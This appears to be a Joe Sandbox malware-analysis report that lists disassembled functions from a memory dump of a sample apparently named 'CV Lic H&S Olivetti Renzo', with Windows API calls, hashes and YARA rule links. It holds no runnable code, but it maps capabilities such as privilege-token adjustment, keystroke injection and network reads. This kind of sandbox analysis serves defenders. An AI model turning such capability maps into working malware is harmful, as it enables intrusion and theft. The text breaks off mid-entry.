Function 003D923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 003DA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 003DA84E

socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 003D9296
WSAGetLastError.WSOCK32(00000000,00000000), ref: 003D92B9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: d3d725d5f8c31bbc8cdc986c4a9613da7f6804643ab30157144af3d84a705e87
Instruction ID: 39d37d96d68dfe8a2fc3c1f4a520d122e4c838baefc8149c6b199d46baf733bc
Opcode Fuzzy Hash: d3d725d5f8c31bbc8cdc986c4a9613da7f6804643ab30157144af3d84a705e87
Instruction Fuzzy Hash: 5E41CE71A00204AFDB16BB68CC82F7E77EDEF44728F048459F956AB392DB749D018B91

Function 003CEB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 003CEB8A
_wcscmp.LIBCMT ref: 003CEBBA
_wcscmp.LIBCMT ref: 003CEBCF
FindNextFileW.KERNEL32(00000000,?), ref: 003CEBE0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 003CEC0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 32081f5bd302b1cf806463109de704530619ffaf8c2d42e7390faef9e5eee745
Instruction ID: e41ba923017f5e2932117381b9cbabd8023fa15b8e8ed8f38b871c3ab69a5846
Opcode Fuzzy Hash: 32081f5bd302b1cf806463109de704530619ffaf8c2d42e7390faef9e5eee745
Instruction Fuzzy Hash: 1A41BB356046029FCB09DF68C491EAAB3E8FF49324F10855EE95ACB3A1DB31ED44CB95

Function 003E8111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 003E8160
IsWindowEnabled.USER32 ref: 003E816E
GetForegroundWindow.USER32(?,?,00000001), ref: 003E817B
IsIconic.USER32 ref: 003E8189
IsZoomed.USER32 ref: 003E8197

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 0a6277ba88675673d8fcea482e9d154719f565823fdd3555c84ec305f303fa2c
Instruction ID: 28a5c987c82a0779a545d5c1066a6d451b77d531f769fd78301729bb7a03d24d
Opcode Fuzzy Hash: 0a6277ba88675673d8fcea482e9d154719f565823fdd3555c84ec305f303fa2c
Instruction Fuzzy Hash: 06119031B006606FE7226F66DD44A6F779CEF44760B050529F849E7281CF30E90286A4

Function 0039E01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0039E014,74DF0AE0,0039DEF1,0041DC38,?,?), ref: 0039E02C
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0039E03E

Strings

GetNativeSystemInfo, xrefs: 0039E038
kernel32.dll, xrefs: 0039E027

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: f1c4f0a45428a65fbdacf12a0a76d77f43047358237d1cbbd85e61de05964c21
Instruction ID: bea25011cebd8522d5ff7be4a36515865c99f840744a1415beda05c1f662e177
Opcode Fuzzy Hash: f1c4f0a45428a65fbdacf12a0a76d77f43047358237d1cbbd85e61de05964c21
Instruction Fuzzy Hash: 6ED0A7318007129FCB329FA2EE0A71276D5AB08301F29843AE881E2250FBF8C8848654

Function 0039B11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

DefDlgProcW.USER32(?,?,?,?,?), ref: 0039B22F

Part of subcall function 0039B55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 0039B5A5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Proc$LongWindow
String ID:
API String ID: 2749884682-0
Opcode ID: 1708b3f302f7052ad9302b54269ca43b9193cc0945f18bde356d6fe0ca568c85
Instruction ID: 2e222738d95d66247750749bf239a29265e12600e66c370e2f70531865eb3deb
Opcode Fuzzy Hash: 1708b3f302f7052ad9302b54269ca43b9193cc0945f18bde356d6fe0ca568c85
Instruction Fuzzy Hash: A7A18F70114109BADF3BAF6B7E88D7FA95DEB42740B124A2DF581DA9E1CB24DC00D272

Function 003D4EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,003D43BF,00000000), ref: 003D4FA6
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 003D4FD2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 9530bb12751286ab6b96cb07b912aaf8826fb21d7c48980da636cca28b92481b
Instruction ID: 9d71dbe9311cfa2da416692a12bbf37827264071a21bacc8867731805a04a5b1
Opcode Fuzzy Hash: 9530bb12751286ab6b96cb07b912aaf8826fb21d7c48980da636cca28b92481b
Instruction Fuzzy Hash: 3041E773904209BFEB22DF94ED81FBFB7BCEB40754F10402BF205A6290DA719E4596A0

Function 003877B0 Relevance: 4.6, APIs: 1, Strings: 1, Instructions: 1076COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00387921

Strings

\QC, xrefs: 00401028

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _memmove
String ID: \QC
API String ID: 4104443479-3599921913
Opcode ID: 469d456c8af3bf84d0805f8431589c5c830c1ca61e1c2dac828d5d2ef0ba6547
Instruction ID: c7cd03fba19a753b6455e8ab2abe9ea92a35e3709acb3544c0f2877bc789bd9a
Opcode Fuzzy Hash: 469d456c8af3bf84d0805f8431589c5c830c1ca61e1c2dac828d5d2ef0ba6547
Instruction Fuzzy Hash: EAA25B74A04219CFCB25DF58C4807ADBBB2FF48314F2581AAE859AB390D7749E81DF94

Function 003CE1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 003CE20D
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 003CE267
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 003CE2B4

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 4f569b72c02db86f2f6c08ff6a0ab7ed378a2ca87ecf4c40d9a0b6e6e29ba2d4
Instruction ID: 84ddbe1383daa7e54d7c1e2ed592d15b72ca1b6bc1afc9d4dc120d5419eafadb
Opcode Fuzzy Hash: 4f569b72c02db86f2f6c08ff6a0ab7ed378a2ca87ecf4c40d9a0b6e6e29ba2d4
Instruction Fuzzy Hash: FB216D35A00618EFCB01EFA5D885EAEFBB8FF48310F0484A9E905EB251DB31D905CB54

Function 003BB134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0039F4EA: std::exception::exception.LIBCMT ref: 0039F51E
Part of subcall function 0039F4EA: __CxxThrowException@8.LIBCMT ref: 0039F533

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003BB180
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 003BB1AD
GetLastError.KERNEL32 ref: 003BB1BA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 221251f1e997057f0bd5c633ed2d2ec067196d115413cedcab9f6f335e086eff
Instruction ID: f607098f2ad1b34b1b85a1ef85d4f98d4784494f7c536d2bafc2de04a42838d8
Opcode Fuzzy Hash: 221251f1e997057f0bd5c633ed2d2ec067196d115413cedcab9f6f335e086eff
Instruction Fuzzy Hash: 9111C1B1800204AFE7189F58DCC5D6BB7BCFB44314B20852EF45697640DBB0FC418B60

Function 003C6606 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 003C6623
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 003C6664
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 003C666F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 9c91877a44f0f2195f135102448c5417e77d84d713159957523564e0ebeb7ddc
Instruction ID: cdc1ce2b596ae334ee9c9ad8523d46974a4ff2945bf79a51a8b997df2a452f86
Opcode Fuzzy Hash: 9c91877a44f0f2195f135102448c5417e77d84d713159957523564e0ebeb7ddc
Instruction Fuzzy Hash: 46110C71E01228BFDB118FA59D45FAEBBBCEB49B10F104166F900F6290D6B05E058BA5

Function 003C71FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 003C7223
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 003C723A
FreeSid.ADVAPI32(?), ref: 003C724A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 5c743a5378a6cbcdd885ed2e863ca642aa3bc20a3ed406e2bf590b9bb7a159db
Instruction ID: 9e9a686b9f2d1c73ac8e572638c35d98defa81d161dd3ae97f9491e7b47c8835
Opcode Fuzzy Hash: 5c743a5378a6cbcdd885ed2e863ca642aa3bc20a3ed406e2bf590b9bb7a159db
Instruction Fuzzy Hash: 88F01D76E04209BFDF04DFF4DD89EEEBBB8EF08205F104869A606F2191E2709A448B14

Function 003CF56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 003CF599
FindClose.KERNEL32(00000000), ref: 003CF5C9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3949a83f321ce68b04475ab3ce9a0f2172e4ae1813557d724e0489b2ca757175
Instruction ID: 834d4609ba5b732c0ad91657acf7fc4effed0ad77a58edaaf3dde17c28c8df5f
Opcode Fuzzy Hash: 3949a83f321ce68b04475ab3ce9a0f2172e4ae1813557d724e0489b2ca757175
Instruction Fuzzy Hash: EA11A5316006009FD701EF28D845A2EB3E9FF85324F00851EF965DB291CB30ED048B85

Function 003CCE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,003DBE6A,?,?,00000000,?), ref: 003CCEA7
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,003DBE6A,?,?,00000000,?), ref: 003CCEB9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 07e355024991205bd81a53b401668cb4b9aeef7b0203afcdca5053b33c88f982
Instruction ID: 429743e23648155ec83956af3c735a3d8466a3730206c4bf17557c9bb54a33d3
Opcode Fuzzy Hash: 07e355024991205bd81a53b401668cb4b9aeef7b0203afcdca5053b33c88f982
Instruction Fuzzy Hash: 46F08235510229ABDB11ABA4DC49FEA776DFF09352F004169F919D6181D6309A44CBA4

Function 003C411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 003C4153
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 003C4166

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: a0980b94f5c5e6d86d5edf9d9c626acd5217cbad0c335491f51dfb61cfb660b0
Instruction ID: 447d3de404ec9bf834227ad364d9fee180d103d5ca36bdbfa46273405d5ec440
Opcode Fuzzy Hash: a0980b94f5c5e6d86d5edf9d9c626acd5217cbad0c335491f51dfb61cfb660b0
Instruction Fuzzy Hash: E8F0677080024DAFDB069FA0CC05BBE7FB4EF00305F04801AF966A6292D7798A169FA4

Function 003BAB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,003BACC0), ref: 003BAB99
CloseHandle.KERNEL32(?,?,003BACC0), ref: 003BABAB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 818f789049f769f4280e63bee281fc7dcc74c84ba1e5b9a90a3b1bf11779e135
Instruction ID: e8d3dff357b3bc835441601f8f4c768f0896af154863feec93ebd2fa2c0fa915
Opcode Fuzzy Hash: 818f789049f769f4280e63bee281fc7dcc74c84ba1e5b9a90a3b1bf11779e135
Instruction Fuzzy Hash: C7E0BF71000510AFEB262F54ED05D767BA9EB04320711C529B95985470DB725C949B50

Function 003A81AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,003A6DB3,-0000031A,?,?,00000001), ref: 003A81B1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 003A81BA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5cfaf87fe69b219c41bcc406a5c0e82880422af8cf6baf2c79a15183a0da8084
Instruction ID: db2a0a7d1f28075f13e78cf74185e6d59cfc03f784146b53b9af76b1de98ca7c
Opcode Fuzzy Hash: 5cfaf87fe69b219c41bcc406a5c0e82880422af8cf6baf2c79a15183a0da8084
Instruction Fuzzy Hash: 7FB09231444608ABDB002BE1ED09B587F68EB08652F004030FE0D540618B7254188A9A

Function 003AD1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c443a6ffba0bf11cd12a56eace215d4e918a77e27399e945d2a595ab8071b3
Instruction ID: f2438ef10ad54e5ad97f741e7f5d8d9d82797e900d7f05b64b3c9fa7f6257dab
Opcode Fuzzy Hash: 54c443a6ffba0bf11cd12a56eace215d4e918a77e27399e945d2a595ab8071b3
Instruction Fuzzy Hash: 84320422D29F414DD7239634D922336A29CEFB73D4F15D737E82AB5DAAEB29C4834104

Function 003896C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: 8b59b4d11961e789f07e48aea945d2c377dc2ae9e9433920d66c7b9e24945933
Instruction ID: 5b2e2cddbf5c0423550044b6e0ff4571cda3c18370e127cb06f38f3bc27d7cc0
Opcode Fuzzy Hash: 8b59b4d11961e789f07e48aea945d2c377dc2ae9e9433920d66c7b9e24945933
Instruction Fuzzy Hash: E422DD716083059FD726EF24C890B6FB7E4BF84310F19495EF99A8B291DB71E904CB82

Function 003B038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ff953d64e878191c6320b0d032b1e51eebf917d91c94046ab3cffca200595d
Instruction ID: dc02c792e29fa7fbf1397f8aa21f6b2daa26abd139d5ffd3cff33113f179635f
